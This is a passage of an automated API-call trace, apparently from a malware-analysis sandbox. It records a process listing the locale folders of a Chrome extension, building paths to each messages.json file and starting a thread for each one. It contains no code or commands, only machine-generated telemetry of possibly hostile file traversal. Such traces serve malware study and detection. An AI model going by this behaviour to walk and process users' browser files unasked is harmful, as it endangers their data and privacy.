_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*" [0180.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905f68 [0180.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b6f8 [0180.225] wcscmp (_String1=".", _String2=".") returned 0 [0180.225] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.225] wcscmp (_String1="..", _String2=".") returned 1 [0180.225] wcscmp (_String1="..", _String2="..") returned 0 [0180.225] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0180.225] wcscmp (_String1="messages.json", _String2=".") returned 1 [0180.225] wcscmp (_String1="messages.json", _String2="..") returned 1 [0180.225] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x8f6488 [0180.225] wcscpy (in: _Dest=0x8f6488, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am" [0180.226] wcscat (in: _Dest=0x8f6488, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\" [0180.226] wcscat (in: _Dest=0x8f6488, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" [0183.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a18 [0183.846] FindNextFileW (in: hFindFile=0x93b6f8, lpFindFileData=0x905f68 | out: lpFindFileData=0x905f68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0183.846] FindClose (in: hFindFile=0x93b6f8 | out: hFindFile=0x93b6f8) returned 1 [0183.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905f68) returned 1 [0183.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d590) returned 1 [0183.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99ce40) returned 1 Thread: id = 7298 os_tid = 0x1368 [0180.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a70f0 [0180.238] wcscpy (in: _Dest=0xd4a70f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar" [0180.238] wcscat (in: _Dest=0xd4a70f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\" [0180.238] wcscat (in: _Dest=0xd4a70f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*" [0180.238] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906b70 [0180.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b578 [0181.152] wcscmp (_String1=".", _String2=".") returned 0 [0181.152] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.152] wcscmp (_String1="..", _String2=".") returned 1 [0181.152] wcscmp (_String1="..", _String2="..") returned 0 [0181.152] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.152] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.152] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x93fce0 [0181.152] wcscpy (in: _Dest=0x93fce0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar" [0181.152] wcscat (in: _Dest=0x93fce0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\" [0181.152] wcscat (in: _Dest=0x93fce0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" [0181.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8 [0181.967] FindNextFileW (in: hFindFile=0x93b578, lpFindFileData=0x906b70 | out: lpFindFileData=0x906b70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.967] FindClose (in: hFindFile=0x93b578 | out: hFindFile=0x93b578) returned 1 [0181.967] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906b70) returned 1 [0181.967] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a70f0) returned 1 [0181.967] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99da70) returned 1 Thread: id = 7299 os_tid = 0x136c [0180.239] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7228 [0180.239] wcscpy (in: _Dest=0xd4a7228, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg" [0180.239] wcscat (in: _Dest=0xd4a7228, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\" [0180.239] wcscat (in: _Dest=0xd4a7228, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*" [0180.240] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0180.240] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b538 [0181.153] wcscmp (_String1=".", _String2=".") returned 0 [0181.153] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.153] wcscmp (_String1="..", _String2=".") returned 1 [0181.153] wcscmp (_String1="..", _String2="..") returned 0 [0181.153] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.153] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.153] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.153] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x93fe38 [0181.153] wcscpy (in: _Dest=0x93fe38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg" [0181.153] wcscat (in: _Dest=0x93fe38, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\" [0181.153] wcscat (in: _Dest=0x93fe38, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" [0181.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93fe38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1560 [0181.969] FindNextFileW (in: hFindFile=0x93b538, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.969] FindClose (in: hFindFile=0x93b538 | out: hFindFile=0x93b538) returned 1 [0181.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0181.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7228) returned 1 [0181.969] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d938) returned 1 Thread: id = 7300 os_tid = 0x1370 [0180.243] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7360 [0180.243] wcscpy (in: _Dest=0xd4a7360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn" [0180.243] wcscat (in: _Dest=0xd4a7360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\" [0180.243] wcscat (in: _Dest=0xd4a7360, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*" [0180.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906438 [0180.244] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941eb0 [0181.153] wcscmp (_String1=".", _String2=".") returned 0 [0181.153] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.154] wcscmp (_String1="..", _String2=".") returned 1 [0181.154] wcscmp (_String1="..", _String2="..") returned 0 [0181.154] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.154] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.154] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.154] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x93ff90 [0181.154] wcscpy (in: _Dest=0x93ff90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn" [0181.154] wcscat (in: _Dest=0x93ff90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\" [0181.154] wcscat (in: _Dest=0x93ff90, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" [0181.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ff90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14fc [0181.971] FindNextFileW (in: hFindFile=0x941eb0, lpFindFileData=0x906438 | out: lpFindFileData=0x906438*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.971] FindClose (in: hFindFile=0x941eb0 | out: hFindFile=0x941eb0) returned 1 [0181.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906438) returned 1 [0181.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7360) returned 1 [0181.971] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e088) returned 1 Thread: id = 7301 os_tid = 0x1374 [0180.244] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7498 [0180.244] wcscpy (in: _Dest=0xd4a7498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca" | out: 